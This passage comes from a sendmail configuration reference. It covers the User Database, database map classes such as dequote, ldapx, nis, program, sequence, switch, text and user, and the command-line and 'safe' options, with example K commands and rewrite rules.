Ordinarily, this transformation is not automatic. Each username that is to appear to be from the firewall machine will need an entry like that above in the User Database. To automate this process, you can use the special username :default in a mailname declaration:

:default:mailname     Firewall.US.EDU

If a maildrop entry is found for a particular name, but no corresponding mailname record is found, the outgoing address is ordinarily unchanged. If, however, a default hostname has been defined with :default, that hostname replaces the local hostname for all addresses that lack their own mailname entry:

:default:mailname     Firewall.US.EDU
bob:maildrop          bob@here.us.edu

In this example the user bob has a maildrop entry but lacks a mailname entry. Outgoing mail from this user will have the :default hostname used instead of the local hostname. The user sally, on the other hand, has neither a maildrop entry nor a mailname entry and so will not have her outgoing address rewritten.

Previous: 33.4 Use Maps with $( and $) in Rules | sendmail | Next: 33.6 Database Maps and m4
33.4 Use Maps with $( and $) in Rules | Book Index | 33.6 Database Maps and m4


[Chapter 33] 33.6 Database Maps and m4

sendmailSearch this book
Previous: 33.5 The User Database Chapter 33
Database Macros 		Next: 33.7 Pitfalls

33.6 Database Maps and m4

Some databases, such as user, are a part of UNIX. Others are a part of sendmail, like the User Database described above. Many, however, are implemented in rules and rule sets. This latter sort of database is therefore available via the m4 technique. Currently, all m4 available databases are implemented as FEATUREs. Table 33.7 lists those available. The second column shows you where to find information about each.

Table 33.7: Database FEATUREs
Feature |  | Version | Description
domaintable | Section 19.6.10, FEATURE(domaintable) | V8.1 and above | Accept other domains as equivalent to the local domain
genericstable | Section 19.6.11, FEATURE(genericstable) | V8.8 and above | Transform sender addresses
mailertable | Section 19.6.14, FEATURE(mailertable) | V8.1 and above | Select new delivery agents based on an external database
virtusertable | Section 19.6.28, FEATURE(virtusertable) | V8.8 and above | Support for virtual domains

Note that these FEATUREs do not necessarily need to be used with database files. To illustrate, consider the domaintable feature (see Section 19.6.10). It is included in your mc file like this:

FEATURE(`domaintable',`nis domaintable')

Here, we specify that the database is to be an nis map. This causes the key to be looked up via the nis services and any match to be returned the same way.

Previous: 33.5 The User Database | sendmail | Next: 33.7 Pitfalls
33.5 The User Database | Book Index | 33.7 Pitfalls


[Chapter 33] 33.7 Pitfalls

sendmailSearch this book
Previous: 33.6 Database Maps and m4 Chapter 33
Database Macros 		Next: 33.8 Alphabetized Reference

33.7 Pitfalls

  • The result of a subroutine call cannot be looked up directly in a database map. Consider this RHS of a rule:

    $( uucp $>96 $1 $)

    Here, the intention is to pass $1 to rule set 96 and then to look up the result in the uucp map. Instead, the literal value 96 and the value in $1 are looked up together and fail first. Then $1 is passed to rule set 96, and the result of that subroutine call becomes the result of the RHS.

  • The %s of IDA sendmail databases will not work as is with V8 sendmail. To make it work, replace it with a %1 throughout the IDA source file, then reverse the keys and values, and finally recreate the database file. This conversion can easily be automated with sed(1) or awk(1).

  • If you are running a Solaris 2.4 or earlier release of Sun's operating system, your database files should not live on tmpfs mounted file systems. File locking was not implemented for tmpfs until Solaris 2.5.

  • Avoid assuming that all K command switches mean the same thing for all classes. The ad hoc nature of class submissions by outsiders makes that assumption perilous.

  • Not all initialization errors or lookup errors are reported. For some of them you will see an indication of an error only if you use the -d38.2 debugging switch (see Section 37.5.128, -d38.2).

Previous: 33.6 Database Maps and m4 | sendmail | Next: 33.8 Alphabetized Reference
33.6 Database Maps and m4 | Book Index | 33.8 Alphabetized Reference


[Chapter 33] 33.8 Alphabetized Reference

sendmailSearch this book
Previous: 33.7 Pitfalls Chapter 33
Database Macros 		Next: 34. Options

33.8 Alphabetized Reference

Recall that the K configuration command (see Section 33.3) is used like this:

Kname class args

The class determines the type of database that will be used. For example, the class btree causes the Berkeley db(3) to be used, whereas the class dequote causes an internal routine of sendmail's to be called.

In this section we present all the classes in alphabetical order. They are summarized in Table 33.3 of Section 33.3.2. Most interaction with these classes can be watched by using the -d38.2 debugging switch (see Section 37.5.128). Some specialty maps use other debugging switches, which we indicate where appropriate.

33.8.1 btree

Berkeley's db form of database

(V8.1 and above)

The term btree stands for "balanced tree." It is a grow-only form of database. Lookups and insertions are fast, but deletions do not shrink the database. A good description of this form of database can be found in The Art of Computer Programming, Vol. 3: Sorting and Searching, D.E. Knuth, 1968, pp. 471-480. The btree class is available only if sendmail was compiled with NEWDB defined and the new Berkeley db library linked in.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

33.8.2 bestmx

Look up the best MX record for a host

(V8.7 and above)

The bestmx map class looks up a hostname as the key and returns the current best MX record as the value. Internally, a call is made to getmxrr() to get a list of MX records for the host. That list is sorted in order of the best to the worst, and bestmx returns the first. Because bestmx is a class, not a map, you need to declare it with a K configuration command before you can use it:

Kbestmx bestmx

One use for this class might be to see whether a particular host has a usable MX at all:

Kbestmx bestmx
...
R$*< @ $+ > $*                $: $1<@$2>$3 <$(bestmx $2 $: NO $)>
R$*< @ $+ > $* < NO >         $#smtp  $@ $2 $: $1 < @ $2 > $3
R$*< @ $+ > $* < $* >         $: $1<@ $[ $2 $] > $3

In the first rule we look up the host part of an address (which has already been focused by rule set 3) with the bestmx database map. The result of the lookup is surrounded with angle brackets and appended to the original address. The second rule looks for the NO caused by an unsuccessful lookup (the $:). The original address is then sent with the smtp delivery agent. If the hostname inside the appended angle braces is not NO, the host part of the original address is canonicalized with the $[ and $] operators.

This bestmx class is a special internal one that can take advantage of only two of the K command switches: the -a (as you saw) and the -q (to suppress dequoting the key). This class can be watched with the -d8 debugging switch (see Section 37.5.30, -d8.1).

33.8.3 dbm

Really ndbm supplied with most versions of UNIX

(V8.1 and above)

The dbm class, which is really the ndbm form of database, is the traditional form of UNIX database. Data are stored in one file, keys in another. The data must fit in blocks of fixed sizes, so there is usually a limit on the maximum size (1 kilobyte or so) on any given stored datum. The dbm class is available only if sendmail was compiled with NDBM declared (see Section 18.8.24, NDBM).

This is the class of database traditionally used with alias files. Because of the limit on the size of a datum, you should consider using one of the db(3) hash or btree classes instead.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with the class and the meaning of each switch.

33.8.4 dequote

A pseudo map for removing quotation marks

(V8.6 and above)

V8 sendmail can remove quotation marks from around tokens by using the special dequote class. Because dequote is a class, not a map, you need to declare it with a K configuration command before you can use it:

Kunquote dequote

This declares a map named unquote of the class dequote. Once a map name has been declared, the dequote class can be used in the RHS of rules to remove quotation marks. It is used with $( and $), just like database lookups:

$(unquote tokens $)

Here, arbitrary tokens are looked up in the database named unquote. That database is special because it is of the class dequote. Instead of really being looked up in a database, tokens will just have any surrounding quotation marks removed:

"A.B.C"           becomes   A.B.C
"A"."B"."C"       becomes   A.B.C
"A B"             becomes   "A B"
"A,B"             becomes   "A,B"
"A>B"             becomes   "A>B"

The first example shows that surrounding quotation marks are removed. The second shows that multiple quoted tokens are all de-quoted. The last three show that sendmail refuses to dequote any tokens that will form an illegal or ambiguous address when dequoted.

As an aid to understanding this dequoting process, run the following two-line configuration file in rule-testing mode:

V7
Kdequote dequote

You can then use the -bt /map command to try various dequoting possibilities:

> /map dequote "A.B.C"
map_lookup: dequote ("A.B.C") returns A.B.C (0)
> /map dequote "A"."B"."C"
map_lookup: dequote ("A"."B"."C") returns A.B.C (0)
> /map dequote "A B"
map_lookup: dequote ("A B") no match (0)

Note that beginning with V8.7, specifying the -s switch causes the space character to be replaced with another character before dequoting (see Section 33.3.4.10).

V7
Kdequote dequote -s+

In that case the last example above would become the following:

> /map dequote "A B"
map_lookup: dequote ("A B") returns A+B (0)

Also note that beginning with V8.8, specifying the -a switch causes a suffix of your choice to be appended to a successful match:

V7
Kdequote dequote -a.yes

In that case the "A.B.C" example would become the following:

> /map dequote "A.B.C"
map_lookup: dequote ("A.B.C") returns A.B.C.yes (0)

In addition to removing quotes, the dequote class also tokenizes everything that is returned. It does this because quotes are ordinarily used to mask the separation characters that delimit tokens. For example, consider the $& operator. It prevents a macro in a rule from being expanded when the configuration file is read and always returns a single token, no matter how many tokens it really contains. Consider this configuration file:

V7
DXhost.domain
Kdequote dequote
R$*    $: $&X , $(dequote "" $&X $)

Here, the macro X is assigned host.domain as its value. The only rule in the file (when sendmail is run in rule-testing mode) prints the expression $&X to show that it is a single token, then prints the result of dequoting that same expression. Note that an empty token needs to be dequoted. Putting quotes around $&X itself won't work. The output produced by rule-testing mode looks like this:

> 0 foo
rewrite: ruleset  0   input: foo
rewrite: ruleset  0 returns: host.domain , host . domain
>
                             $X        $X dequoted

No debugging switch is available to watch the actions of the dequote class.

33.8.5 hash

Berkeley's db form of database

(V8.1 and above)

The hash class uses a hashing algorithm for storing data. This approach to a database is described in A New Hash Package for UNIX, by Margo Seltzer (USENIX Proceedings, Winter 1991). The hash class is available only if sendmail was compiled with NEWDB defined and the new Berkeley db library linked in.

The hash class is the default that is used with most of the FEATURES offered by the m4 technique (see Table 33.6 in Section 33.6, "Database Maps and m4"). For example, consider the following:

Kuudomain hash -o /etc/uudomain

Here, a map named uudomain is declared to be of class hash. The -o says that the file /etc/uudomain is optional.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

33.8.6 hesiod

MIT network user authentication services

(V8.7 and above)

The hesiod class of map uses the Hesiod system, a network information system developed as Project Athena. Support of hesiod maps is available only if you declare HESIOD when compiling sendmail. (See Section 18.8.10, HESIOD for a fuller description of the Hesiod system.)

A hesiod map is declared like this:

Kname hesiod HesiodNameType

The HesiodNameType must be one that is known at your site, such as passwd or service. An unknown HesiodNameType will yield this error when sendmail begins to run:

cannot initialize Hesiod map (hesiod error number)

One example of a lookup might look like this:

Kuid2name hesiod uid
R$+      $: $(uid2name $1 $)

Here, we declare the map uid2name using the Hesiod-type uid, which converts uid numbers into login names. If the conversion was successful, we use the login name returned; otherwise, we use the original workspace.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

33.8.7 host

Internal table used to store and look up hostnames

(V8.1 and above)

The host class is a special internal database used by sendmail to help it resolve hostnames. It is fully described under the $[ and $] operators in Section 33.4.3.

The -d9 debugging switch (see Section 37.5.37, -d9.1) can be used to watch the actions caused by this host class.

33.8.8 implicit

Search for an aliases database file

(V8.1 and above)

The implicit class refers specifically to aliases(5) files only. It causes sendmail to first try to open a db(3) hash-style alias file, and if that fails or if NEWDB support was not compiled in, it tries to open a ndbm(3)-style database. If that fails, sendmail reads the aliases(5) source file into its internal symbol table.

Although you can declare and use this class in a configuration file, there is no reason to do so. It is of use only to the internals of sendmail. If implicit fails to open an aliases file (probably because of a faulty AliasFile (A) option; see Section 34.8.1), sendmail will issue the following error if it is running in verbose mode:

WARNING: cannot open alias database bad file name

If the source aliases file exists but no database form exists, sendmail will read that source file into its internal symbol table using the stab class (see Section 33.8.16).

33.8.9 ldapx

The Lightweight Directory Access Protocol

(V8.8 and above)

LDAP stands for Lightweight Directory Access Protocol and provides access to the X.500 directory. The ldapx class is used to look up items in that directory service. It is declared like this:

Kname ldapx switches

Lookups via LDAP are entirely defined by the switches specified. To illustrate, consider the following X.500 entry:

cn=Full Name, o=Organization, c=US
sn=Name
uid=yourname
cn=Full Name
commonname=Full Name
mail=yourname@mailhub.your.domain
objectclass=person
objectclass=deptperson

To look up a login name in this database and have the official email address for that user returned, you might use a declaration like this:

Kldap ldapx -k"uid=%s" -v"mail" -hldap_host -b"o=Organization, c=US"

Note that the -k switch is in the form of a ldap_search(3) filter, where the key will replace the %s and then the whole expression will be searched for as the key. The -b is required to specify the base from which to search. Note that a base must be selected such that it ensures that sendmail will always get a unique result.

The following rule can be used with the above declaration to look up the preferred mail address for a user:

R$* <@ $+ > $*       $: $(ldap $1 $: $1<@$2>$3 $)

Here we presume that this rule was preceded by a call to rule set 3 to focus on the host part. If the lookup succeeds, the new (unfocused) address is returned from the mail= line in the database. Otherwise, the original address is returned.

A few errors can occur during sendmail's startup that indicate a faulty K command:

LDAP map: -h flag is required
LDAP map: -b flag is required
No return attribute in map name

The first two show that those switches are mandatory. The third prints only to show that the -v switch is mandatory if the -o switch is absent.

In addition, each successful lookup can cause a line like the following to be logged via syslog(3):

qid: ldap key => value

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each. Also, Table 33.6 lists several nonstandard switches that are used by this ldapx class. Finally, note that the ldapx class can be used only if LDAPMAP was defined when sendmail was compiled (see Section 18.8.15, LDAPMAP).

33.8.10 netinfo

NeXT Computer's network information services

(V8.7 and above)

NetInfo is NeXT's implementation of a network-based information service. The netinfo class expects a map declaration to be of the following form:

Kname netinfo map

Other switches may be used with this class, and they have their normal meanings (see Table 33.5 in Section 33.3.4).

Support of netinfo maps is available only if you declare NETINFO when compiling sendmail (see Section 18.8.27, NETINFO).

33.8.11 nis

Sun's Network Information Services (NIS)

(V8.6 and above)

Sun Microsystems offers a network information service called NIS. It provides the ability to look up various kinds of information in network databases. The nis class allows you to access that network information by way of rules in rule sets. You declare an nis class map like this:

Kname nis map

Here, name is the identifier that you will later use in rule sets. The map is any nis map. Lookups will occur in the default nis domain. If you wish to specify some other domain, you may append an @ character and the domain name to the map:

Kname nis map@domain

To illustrate, consider the need to look up the name of the central mail server for your department. If such a map were called mailservers, you could use the following configuration file line to look up your domain in that map:

Kmailservers nis -o mailservers
...
R$* <@ $+ > $*          $: $1<@$2>$3 <$(mailservers $2 $)>
R$* <@ $+ > $* <$+>     $#smtp $@ $4 $: $1 < @ $2 > $3
...

Here, we look up the host part of an address ($2) in the mailservers nis map. The -o makes the existence of the map optional. If the host part is found, it is rewritten to be the name of the mail server for that host. In the last rule we forward the original address to that server.

Without the -o, the nonexistence of a map will cause this error to be logged:

Cannot bind to map name in domain domain: reason here

If nis is not running at all or if sendmail cannot bind to the domain specified or the default domain, the following error is logged:

NIS map name specified, but NIS not running

The nis class is available only if sendmail is compiled with NIS defined (see Section 18.8.29, NIS).

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

33.8.12 nisplus

Sun's newer version of NIS

(V8.7 and above)

Sun Microsystems's NIS+ is a complete redo of its earlier nis system. The nisplus class allows you to look up information using NIS+. The form of that class declaration looks like this:

Kname nisplus map.domain

Here, the map is a NIS+ map name, such as mail_aliases. [7] If the domain or .domain is missing, the nisplus default domain is used. If the entire map.domain is missing, the default becomes mail_aliases.org_dir. The domain org_dir contains all the systemwide administration tables.

[7] Note that under NIS+ map names cannot contain a dot, whereas under NIS they could - for example, mail_aliases for NIS+ but mail.aliases for NIS.

Any lookup failures that can be retried will automatically be retried up to five times, with a sleep(3) of 2 seconds between each try. If the map.domain doesn't exist in the local nisplus system, this error is printed when sendmail starts:

Cannot find table map.domain: reason for failure here

This error is suppressed if the original K command declaration included the -o switch.

Two other errors can happen during startup:

map.domain: reason for failure here is not a table
nisplus_map_open(map): can not find key column -k column name here

You can use the -k switch to specify a key column to look up. Under nisplus, columns are named, so the -k must be followed by a valid name, or the last error above will be printed. You can also use the -v switch to specify the value column, also a name. If the -v is omitted, the last column becomes the default. See Table 33.5 in Section 33.3.4 for a list of the other K command switches that can be used with this class and the meaning of each.

33.8.13 null

Provide a never found service

(V8.7 and above)

The null class is an internal database that always returns a failed lookup. It is useful for replacing other classes to force failures without errors. Normally, the null class is used internally only.

Consider a tiny configuration file that does not need the use of the aliases facilities. One way to declare aliases would be like this:

O AliasFile=null:

This tells sendmail to use the null class for looking up aliases. Therefore no aliases will ever be found.

None of the K command switches may be used with the null class. If you try to use any, they will be silently ignored. No debugging switch is available to watch this null class.

33.8.14 program

Run an external program to look up the key

(V8.7 and above)

The program class allows you to perform lookups via arbitrary external programs. The form for the declaration of this class looks like this:

Kname program /path arg1 arg2 ...

The /path must be the full pathname to the program. Relative paths will not work, and attempts to use them will log the following error and cause the lookup to fail:

NOQUEUE: SYSERR(bcx): relative name: cannot exec: No such file or directory

The program is run under the uid and gid of the person who ran sendmail. But if that person is root, the program is instead run as the user and group specified by the DefaultUser(u) option (see Section 34.8.15, DefaultUser (g)(u)).

The arguments to the program always have the key to be looked up added as a final argument:

Kname program /path arg1 arg2 ...

                                    key added here

This is the only way that the key can be passed to the program. The key will specifically not be piped to the program's standard input.

The value (result of the lookup) is read from the program's standard output. Only the first MAXLINE-1 characters are read (where MAXLINE is defined in conf.h, currently as 2048). The read result is processed as an address and placed into the workspace (unless the -m switch is used with the K command).

To illustrate, consider the need to look up a user's preferred address in an external relational database:

Kilook program /usr/lib/ingres_lookup -d users.database

This program has been custom written to accept the key as its final argument. To prevent spurious errors, it exits with a zero value whether the key is found or not. Any system errors cause it to exit with a value selected from those defined in <sysexits.h> (those recognized by sendmail). Error messages are printed to the standard error output, and the found value (if there was one) is printed to the standard output.

In general, it is better to use one of the database formats known to sendmail than to attempt to look up keys via external programs. The process of fork(2)ing and exec(2)ing the program can become expensive if it is done often, slowing down the handling of mail.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

33.8.15 sequence

Search a series of maps

(V8.7 and above)

The sequence class is a more general form of the implicit class described for use with alias files. The sequence class allows you to declare a single name that will be used to search a series of databases. It is declared like this:

Kname sequence map1 map2 ...

Here, a key will be looked up first in the map named map1, and if not found there, it will be looked up in the map named map2. The class of each of the listed maps should logically relate but need not be the same. Consider, for example, a rule's LHS that will match if the workspace contains either a user's login name or the name of a host, with the hostname taking precedence:

Khosts host  -a+ /etc/hosts
Kpasswd user -a- /etc/passwd
Kboth sequence hosts passwd

R$-     $: $(both $1 $)

Here, we say that the map named both is of type sequence. Any single token in the LHS will be looked up first in the map named hosts, and if it is found there the hostname will be returned with a + appended. If it is not found in the hosts map, it will be next looked up in the passwd map. If it is found there, the original workspace will be returned with a - appended. If the workspace is not found in either map, the lookup fails and the workspace remains unchanged.

If any map in the series of maps declared with the K command does not exist:

Kboth sequence hosts passwd badname

the following error is printed, and that map is ignored:

Sequence map both: unknown member map badname

If the number of maps that are sequenced exceeds the maximum allowed (MAXMAPSTACK in conf.h, currently 12), the following error is printed, and the overflow of maps is ignored:

Sequence map name: too many member maps (max max)

None of the K command switch may be used with the sequence class. If you try to use any, they will be wrongly interpreted as map names.

33.8.16 stab

Internally load aliases into the symbol table

(V8.6 and above)

The stab class is used internally by sendmail to load the raw aliases(5) file into its internal symbol table. [8] This is a fallback position that is taken if no database form of aliasing is found.

[8] As such it is somewhat misnamed. One might reasonably expect a class named stab to provide access to the symbol table, but alas, it is not so.

The stab class should never be used in configuration files.

33.8.17 switch

Built sequences based on service switch

(V8.7 and above)

The switch class is used internally by sendmail to create sequence classes of maps based on external service-switch files. Recall that the lines inside a service-switch file look like this:

service  how how

as, for example:

aliases   files nis

This line tells sendmail to search for its aliases first in files then in NIS.

To illustrate the switch class, consider the need to look up aliases inside rule sets in the same way that sendmail looks up its own aliases. To do this, you would declare a switch map, as, for example:

Kali switch aliases

This causes sendmail to search for the service named aliases in the service-switch file. In this example it finds such a line, so for each how that follows the aliases in that line, sendmail creates a new map with the name ali followed by a dot and the how: [9]

[9] Your switch map declaration references the new maps named ali.files and ali.nis. These must be declared before the switch map is declared. Note that switch map declarations always reference other map names!

aliases   files    becomes    ali.files
aliases   nis      becomes    ali.nis

These named maps are then sequenced for you. Recall that sequence maps are declared like this:

Kname sequence map1 map2,...

The name given to the sequence is ali. In our example the following sequence is automatically created for you from your original switch declaration:

Kali sequence ali.files ali.nis

In rule sets, when you look up aliases with the ali map:

R...        $( ali $1 $)

          the sequence named ali

you will use the sequence named ali that was automatically built for you from a combination of your original switch definition and your service-switch file's aliases line. That is, you declare a switch, but you use a sequence.

33.8.18 text

Look up in flat text files

(V8.7 and above)

The text class allows you to look up keys in flat text files. This technique is vastly less efficient than looking up keys in real databases, but it can serve as a way to test rules before implementing them in database form.

For the text map, columns for the key and value are both measured as an index. That is, the first column is number 0. To illustrate, consider the following miniconfiguration file that can be used to check spelling:

Kspell text /usr/dict/words
Spell
R$-      $: $( spell $1 $: not in dictionary $)

The /usr/dict/words file contains only a single column of words. The above rule shows that the key is (by default) the first column (index 0). And the value is (by default) also the first column (index 0).

For more sophisticated applications you can specify the key's column (with the -k switch) the value's column (with the -v switch) and the column delimiter (with the -z switch). To illustrate, consider the need to look up a uid in the /etc/passwd file and to return the login name of the user to whom it belongs:

Kgetuid text -k2 -v0 -z: /etc/passwd
R$-      $: $( getuid $1 $)

The lines of a password file look like this:

ftp:*:1092:255:File Transfer Protocol Program:/u/ftp:/bin/sh

The third column (where the columns are separated by colons) is the uid field. The first is the login name. Note that the -k and -v switches show these fields as indexes, where the first is 0 and the third is 2.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each. No debugging switch is available to watch this text class.

33.8.19 userdb

Look up in the User Database

(V8.7 and above)

The userdb class allows you to look things up in the User Database (see Section 33.5, "The User Database" for a full description of the User Database). The userdb class is declared with the K command like this:

Kname userdb switches keyword       <-  V8.7 and above

Here, the keyword is the name of the field to search and is either maildrop or mailname (see Section 33.5). There is no need to list any files or servers with this command. Those should already have been declared with the UserDatabaseSpec (U) option (see Section 34.8.75).

One possible use for a userdb map might be to check for a local account in the check_rcpt rule set (see \#sRULESETS_check_rcpt). In this example, all valid incoming recipient addresses are listed with the User Database:

Kislocal userdb maildrop
Scheck_rcpt
R$*                     $: $>3 $1               focus on host
R$* <@ $+ > $*          $: $1                   discard host
R$+                     $: $(islocal $1 $: nope $)
Rnope                   $#error $@ 5.1.3 $: "Recipient is not local"

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each. The -d28 debugging switch (see Section 37.5.97, -d28.1) can be used to watch this userdb class in action.

33.8.20 user

Look up local passwd information

(V8.7 and above)

The user class is used to look up passwd(5) information using getpwent(3). A password entry typically looks like this:

ftp:*:1092:255:File Transfer Protocol Program:/u/ftp:/bin/sh

Here, there are seven fields, each separated from the others by colon characters. The key is always compared to the first field. The value returned is (by default) the first field unless you specify another field with a -v switch:

Kname user -vfield

Here, field can be either a number 1 through 7 or one of the names name, passwd, uid, gid, gecos, dir, or shell, which correspond to the numbers. For example, to look up usernames and get the full name (gecos) field returned, you could use something like this:

Kgetgecos user -vgecos
...
R$-        $: $( getgecos $1 $)

Note that this returns the full gecos field in its rawest form. It is not cleaned up to provide a reliable full name, as is the $x macro (see Section 31.10.42, $x).

One possible application for the user class is in conjunction with the check_rcpt rule set (see \#sRULESETS_check_rcpt). In the following we check to see whether a recipient is a local user and reject the mail if that is not so:

Kislocal user
Scheck_rcpt
R$*                     $: $>3 $1               focus on host
R$* <@ $+ > $*          $: $1                   discard host
R$-                     $: $(islocal $1 $: nope $)
Rnope                   $#error $@ 5.1.3 $: "Recipient is not local"

Here, we focus on the host part with rule set 3, then discard all but the user part in the second rule. The third rule performs the lookup. If the user is found, that username is returned unchanged. If, on the other hand, the user is not found, the token nope is returned. The last rule rejects any SMTP RCPT command that contains a nonlocal user part.

See Table 33.5 in Section 33.3.4 for a list of the K command switches that can be used with this class and the meaning of each.

Previous: 33.7 Pitfalls | sendmail | Next: 34. Options
33.7 Pitfalls | Book Index | 34. Options


[Chapter 34] Options

sendmailSearch this book
Previous: 33.8 Alphabetized Reference Chapter 34 Next: 34.2 Configuration-File Options

34. Options

Contents:
Command-Line Options
Configuration-File Options
Configuring with V8 m4 Options
Alphabetical Table of All Options
Option Argument Types
Interrelating Options
Pitfalls
Alphabetized Reference

Options affect the operation of the sendmail program. [1] Options can be specified in the command line, in the sendmail.cf file, and in a V8 m4 configuration. Among the many behavioral characteristics that can be tuned with options are the following examples:

[1] See Chapter 13, Setting Options, for a tutorial introduction to options.

  • Locations of all the other files that sendmail needs to access, such as the aliases file.

  • Location of the queue directory.

  • Time limits that should be applied to the Time To Live in the queue, the length of the wait with an SMTP connection, and so on.

  • Default permissions for files and the default user and group identities to use when not running as another user.

  • Degree of privacy desired, such as what kinds of inquiry to reject or who may examine the queue.

  • Modes of behavior, such as always queuing or running as a daemon and listening for incoming connections.

  • Limits that should be placed on system resources. Should one queue only under high load? Should one reserve minimal space in the queue?

  • Small bits of sendmail's behavior, such as allowing colons to appear in addresses and stripping newlines from sender addresses.

Most options are preset in your sendmail.cf file to be appropriate for your site. Those that need local definitions will usually be indicated by comments. Some sites, especially those that have high mail loads or those connected to many different networks, will need to tune many of the options according to their unique needs.

34.1 Command-Line Options

Beginning with version 8.7 sendmail, command-line options may use multicharacter option names. Prior to version 8.7, only single characters were allowed. We describe the old form first, then the new.

34.1.1 Pre-V8.7 Command-Line Option Declarations

Prior to version 8.7, option names that are declared on the command line could be only a single character long:

-oXargument      <-  prior to V8.7

The -o switch (lowercase o) is immediately followed (with no intervening space) by the one-letter name of the option (here, X). Depending on the option selected, an argument may be required. If that argument is present, it must immediately follow the option name with no intervening space. Only one option may be specified for each -o switch.

Under V8 sendmail a space may appear between the -o and the X, but no space may exist between the X and its argument. This is because V8 sendmail uses getopt(3) to parse its command line.

34.1.2 V8.7 Multicharacter Options in the Command Line

Beginning with version 8.7, option names may be single-character or multicharacter. Single-character options are declared with the -o (lower case) switch as described above. Multicharacter options are declared with a -O (uppercase) switch:

-OLongName=argument         <-  beginning with V8.7

 uppercase

Space may optionally exist between the -O and the LongName. Space may not exist between the LongName, the =, and the argument unless they are quoted:

-O "LongName = argument"

Only one option may be specified for each -O switch.

The sendmail program ignores case when it considers multicharacter names. Therefore the following three command lines have the same effect, and none produces an error:

-OQueueDirectory=/var/tmp
-Oqueuedirectory=/var/tmp
-OQuEuEdIrEcToRy=/var/tmp

34.1.2.1 Multicharacter name shorthand

Beginning with 8.7, multicharacter names in the command line may be specified by using the fewest unique leftmost characters in the name. For example, you can specify the queue directory with the complete QueueDirectory long name:

% /usr/lib/sendmail -OQueueDirectory=/var/tmp

But if you need to run this command line frequently, [2] you may find it handy to use an abbreviation:

[2] With any of the modern utilities such as tcsh(1), ksh(1), or emacs(1), repetition may not require this shorthand.

% /usr/lib/sendmail -OQueueDir=/var/tmp
Option QueueDir used as abbreviation for QueueDirectory

Whenever a multicharacter name is abbreviated, sendmail prints a warning (the second line above) to discourage you from using abbreviations inside your configuration file. It will also warn you if you specify too few leftmost letters:

% /usr/lib/sendmail -OQueue=/var/tmp
readcf: ambiguous option name Queue (matches QueueFactor and QueueDirectory)

If you misspell the single-character or multicharacter name, the following error is printed, and the option declaration is skipped:

% /usr/lib/sendmail -OQueDirectory=/var/tmp
readcf: unknown option name QueDirectory

Although these abbreviations can be handy on command lines, it is vital that you alway use nonabbreviated names in your configuration file. New options will be added to sendmail over time, and the use of abbreviations can lead to future unexpected or ambiguous effects.

34.1.3 Appropriateness of Options

Some options are intended for use only on the command line and make little or no sense when used in the configuration file. Options that are inappropriate in the configuration file are shown in Table 34.1.

Table 34.1: Options Inappropriate to the Configuration File
Option Name |  |  | Description
ErrorMode | (e) | Section 34.8.24, ErrorMode (e) | Set error mode. But note that in unusual circumstances it may be useful in a configuration file.
IgnoreDots | (i) | Section 34.8.32, IgnoreDots (i) | Ignore dots. Use the -OIgnoreDots command line switch (see Section 34.8.32) to set this option.
 | (M) | Section 34.8.77, (M) | Define a macro. Use the D configuration command instead (see Section 31.3, "Configuration File Definitions").
MaxDaemonChildren |  | Section 34.8.35, MaxDaemonChildren | Set maximum forked children. Although appropriate on the command-line when processing a queue, it should seldom be used in the configuration file.
SingleThreadDelivery |  | Section 34.8.64, SingleThreadDelivery | Set single-threaded delivery. Although appropriate on the command-line when processing a queue, it should seldom be used in the configuration file.
Verbose | (v) | Section 34.8.76, Verbose | Run in verbose mode. Use the -v command line switch (see Section 36.7.41, -v).

34.1.4 Options that Are Safe

It is common practice to install sendmail so that it runs with root privilege. Security considerations normally require that sendmail give up that privilege for most command-line options specified by the ordinary user. But the ordinary user can specify a few options that allow sendmail to keep its root privilege. Those options are called "safe" and are shown in Table 34.2.

Table 34.2: Options That Are Safe
Option Name |  |  | Description
AllowBogusHELO |  | Section 34.8.3, AllowBogusHELO | Allow no host with HELO or EHLO
CheckpointInterval | (C) | Section 34.8.7, CheckpointInterval (C) | Checkpoint the queue
ColonOkInAddr |  | Section 34.8.9, ColonOkInAddr | Allow colons in addresses
DefaultCharSet |  | Section 34.8.14, DefaultCharSet | Define Content-Type: character set
DeliveryMode | (d) | Section 34.8.16, DeliveryMode (d) | Set delivery mode
EightBitMode | (8) | Section 34.8.22, EightBitMode (8) | How to convert MIME input
ErrorMode | (e) | Section 34.8.24 | Specify mode for error handling
IgnoreDots | (i) | Section 34.8.32 | Ignore leading dots in messages
LogLevel | (L) | Section 34.8.33, LogLevel (L) | Set (increase) logging levela
MaxQueueRunSize |  | Section 34.8.38, MaxQueueRunSize | Maximum queue messages processed
MeToo | (m) | Section 34.8.39, MeToo (m) | Send to me too
MinFreeBlocks | (b) | Section 34.8.40, MinFreeBlocks (b) | Define minimum free disk blocks
MinQueueAge |  | Section 34.8.41, MinQueueAge | Skip queue file if too young
NoRecipientAction |  | Section 34.8.43, NoRecipientAction | Handle no recipients in header
OldStyleHeaders | (o) | Section 34.8.44, OldStyleHeaders (o) | Allow spaces in recipient lists
PrivacyOptions | (p) | Section 34.8.47, PrivacyOptions (p) | Increase privacy of the daemon
QueueSortOrder |  | Section 34.8.51, QueueSortOrder | How to pre-sort queue
SendMimeErrors | (j) | Section 34.8.60, SendMimeErrors (j) | Return MIME format errors
SevenBitInput | (7) | Section 34.8.62, SevenBitInput (7) | Force 7-bit input
SingleLineFromHeader |  | Section 34.8.63, SingleLineFromHeader | Strip newlines from From:
SuperSafe | (s) | Section 34.8.67, SuperSafe (s) | Queue everything just in case
UseErrorsTo | (l) | Section 34.8.74, UseErrorsTo (l) | Use Errors-To: for errors
Verbose | (v) | Section 34.8.76 | Run in verbose mode

V8.7.3 was accidentally released with the LogLevel (L) option marked as not safe. For example, the AliasFile (A) option (location of the aliases file) is unsafe (and is not in Table 34.2). If you were to send mail by specifying a new location with the AliasFile option, sendmail would change its identity from root to an ordinary user (you), thus preventing sendmail from being able to queue its mail:

